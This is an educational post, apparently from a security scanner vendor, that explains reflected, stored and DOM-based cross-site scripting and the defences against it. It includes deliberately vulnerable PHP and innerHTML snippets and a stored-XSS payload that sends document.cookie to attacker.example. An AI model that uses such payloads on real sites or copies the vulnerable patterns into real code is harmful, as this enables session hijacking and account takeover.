Skip to content
Cross-Site Scripting

Cross-Site Scripting, Explained: Reflected, Stored and DOM-Based XSS

Cross-site scripting lets attacker-controlled input run as JavaScript in a victim's browser. Here is what XSS is, how its three variants differ, and the layered defense that shuts all of them down.

Part 1 of 6From the Cross-Site Scripting series

On this page

Cross-site scripting (XSS) is what happens when an application lets untrusted input become part of the page's executable content. Instead of corrupting a database query like SQL injection, XSS corrupts the HTML and JavaScript the victim's browser runs. The browser trusts the page's origin, so it trusts the injected script with it — and runs that script with full access to the user's session.

XSS is not a single bug but a family of three. They differ in where the untrusted data enters and who renders it into the page. This post is the map: it covers what unites them and links out to a deep-dive for each variant.

How it happens

Every XSS bug is the same mistake in different clothing: data that the application expects to be inert text is instead interpreted as markup or code. The data crosses a trust boundary — a URL parameter, a stored comment, a postMessage event — and lands in a sink that builds the page without encoding it first.

$name = $_GET['name'];
echo "<h1>Welcome, " . $name . "</h1>";

For ?name=Alice this is fine. But name is attacker-controlled and is being dropped straight into HTML, so it can carry a tag instead of a name.

The three variants

The differences come down to the path the payload travels before it executes.

Reflected XSS — the input is sent in a request and immediately echoed back in the same response. The payload lives in the URL and fires only for whoever follows the crafted link.

https://shop.example/search?q=<script>alert(document.domain)</script>

Stored XSS — the payload is persisted server-side (a comment, a profile bio, a support ticket) and served to every viewer of that content, with no link to click.

<script>fetch('https://attacker.example/c?'+document.cookie)</script>

DOM-based XSS — the flaw is entirely client-side. JavaScript already on the page reads an attacker-controllable source and writes it into a dangerous sink. The payload can sit in the URL fragment, so the server never even receives it.

document.getElementById('out').innerHTML = location.hash.slice(1);

Reflected, stored and DOM-based are the same vulnerability class viewed from three angles — the question is only where the untrusted data enters and who renders it. Each has its own deep-dive in this series.

What an attacker gains

Once arbitrary JavaScript runs on the page, it acts with the victim's full authority:

  • Steal session cookies that are not marked HttpOnly, hijacking the account.
  • Read the DOM — CSRF tokens, profile data, anything rendered on the page.
  • Forge requests as the victim, including state-changing actions like email or password changes.
  • Rewrite the page to phish credentials inside a genuinely trusted origin.

The end state is frequently account takeover. Stored XSS amplifies this further: one injection can hit thousands of sessions, including the admins who moderate the content.

The fix: encode for context, then defend in depth

There is no single switch, but the variants share one root defense: context-aware output encoding. Encode data for the exact place it lands so the browser always reads it as text, never as markup or code.

$name = $_GET['name'];
echo "<h1>Welcome, " . htmlspecialchars($name, ENT_QUOTES, 'UTF-8') . "</h1>";

Now the < becomes &lt; and the browser sees inert text. Layer the rest on top:

  • Use a templating engine that auto-escapes by default, and keep encoding correct for the HTML, attribute, JavaScript and URL contexts.
  • For DOM sinks, prefer safe APIs like textContent and setAttribute over innerHTML, and adopt Trusted Types where supported.
  • Set a strict Content-Security-Policy that blocks inline scripts, so a single missed sink is far harder to exploit.
  • Mark session cookies HttpOnly and Secure so script cannot read them.
Module: Cross-Site Scripting. How it probes: Injects context-aware payloads into HTML, attribute, JavaScript and URL sinks, including mutation variants when a WAF sits in the path. How it confirms: The payload has to survive into the rendered context it was aimed at; a reflection on its own does not promote the finding. A finding moves from Possible to Confirmed only after this check. Reported as CWE-79 · ATT&CK T1059.007 · SARIF 2.1.0.
How SelfSec proves this one
Module
Cross-Site Scripting
How it probes
Injects context-aware payloads into HTML, attribute, JavaScript and URL sinks, including mutation variants when a WAF sits in the path.
How it confirms
The payload has to survive into the rendered context it was aimed at; a reflection on its own does not promote the finding.
Reported as CWE-79 · ATT&CK T1059.007 · SARIF 2.1.0

A reflected response alone is not enough to promote a Cross-Site Scripting finding. The classical engine has to confirm the behavior before it reaches the report. See the detection engine

SelfSec scanner

Find Cross-Site Scripting in your own app

Reading about the class is one thing. SelfSec tests for it against an application you are authorized to assess, and only calls it real when independent evidence agrees.

Find it Confirmed, not guessed 21 vulnerability modules, with the classical engine owning the verdict. Prove it Evidence you can re-read Every finding keeps the raw request, the response and the baseline it was measured against.
Join the launch list